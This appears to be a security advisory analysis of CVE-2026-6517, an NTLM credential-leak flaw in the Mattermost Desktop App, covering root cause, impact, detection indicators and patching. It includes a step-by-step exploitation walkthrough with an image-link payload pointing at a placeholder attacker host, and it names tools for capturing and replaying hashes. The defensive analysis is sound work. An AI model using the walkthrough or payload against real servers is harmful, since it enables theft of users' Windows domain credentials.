CVE-2026-6517: 
Mattermost Desktop App vulnerability analysis and mitigation

CVE-2026-6517 is a credential interception vulnerability in the Mattermost Desktop App that allows authenticated users to steal other users' NTLM credentials by embedding malicious images in messages. The flaw affects Mattermost Desktop App versions ≤6.1 and ≤5.5.13, and was disclosed on June 15, 2026, with Mattermost Advisory ID MMSA-2026-00651. The vulnerability has a CNA-assigned CVSS v3.1 base score of 6.3 (Medium), while NVD's independent assessment rates it 7.7 (High) (GitHub Advisory, Mattermost Security).

The root cause is classified as CWE-522 (Insufficiently Protected Credentials): the Mattermost Desktop App fails to enforce an allowlist of trusted domains when forwarding NTLM authentication credentials, meaning credentials can be sent to arbitrary external servers. An attacker exploits this by embedding an image in a Mattermost message that points to an attacker-controlled external web server; when a victim's Desktop App renders the message, it automatically forwards NTLM credentials to the external host without restriction. This attack requires no user interaction beyond the victim viewing the message, but does require the target Mattermost server to have the image proxy feature disabled — a precondition that is not uncommon in self-hosted deployments (GitHub Advisory, Mattermost Security).

Successful exploitation results in high confidentiality impact: an attacker can capture NTLM credentials (hashes) of other users on the same Mattermost server. These captured credentials can be used in pass-the-hash attacks, credential stuffing, or lateral movement within corporate Windows environments, potentially enabling broader network compromise. There is no integrity or availability impact from the vulnerability itself, but the downstream consequences of stolen Windows domain credentials can be severe (GitHub Advisory, Mattermost Security).

1. Gain access: Obtain a low-privileged authenticated account on a target Mattermost server that does not have the image proxy feature enabled.
2. Set up a capture server: Deploy an attacker-controlled web server (e.g., using Responder or a custom HTTP server) configured to log incoming NTLM authentication attempts, accessible from the internet or the target network.
3. Craft a malicious message: Compose a Mattermost message containing an embedded image tag pointing to the attacker's server (e.g., ![img](http://<attacker-ip>/capture.png)).
4. Deliver the payload: Post the message in a channel or send a direct message to target users on the Mattermost server.
5. Capture NTLM credentials: When a victim's Mattermost Desktop App renders the message, it automatically initiates an NTLM authentication handshake with the attacker's server, forwarding the victim's NTLM credential hash.
6. Leverage captured credentials: Use the captured NTLM hash in pass-the-hash attacks (e.g., via Impacket or Mimikatz) or attempt offline cracking to recover plaintext passwords for lateral movement (GitHub Advisory, Mattermost Security).

• Network: Outbound HTTP/HTTPS requests from Mattermost Desktop App processes to unexpected external IP addresses or domains, particularly with NTLM authentication headers (Authorization: NTLM ...) in the request.
• Network: Connections from client machines to external servers on port 80/443 triggered immediately after loading a Mattermost channel or message, without explicit user navigation.
• Logs: Mattermost server logs showing messages containing external image URLs (non-proxied) posted by low-privileged users to channels with broad membership.
• Logs: Web server access logs on attacker infrastructure showing NTLM negotiation requests (HTTP 401/NTLM challenge-response sequences) originating from corporate IP ranges.
• Process: Mattermost Desktop App (electron-based) process initiating network connections to domains not in the organization's approved allowlist.

Upgrade the Mattermost Desktop App to version 6.2.0 or later (for the 6.x branch) or 5.13.6.0 or later (for the 5.x branch), as these versions enforce proper domain allowlisting for NTLM credential forwarding (Mattermost Security, GitHub Advisory). As an immediate workaround, enable the image proxy feature on the Mattermost server, which prevents the Desktop App from making direct connections to external image URLs and thus blocks credential forwarding to untrusted domains. Organizations should also audit Mattermost server configurations to confirm image proxy status and restrict posting permissions where feasible until patching is complete.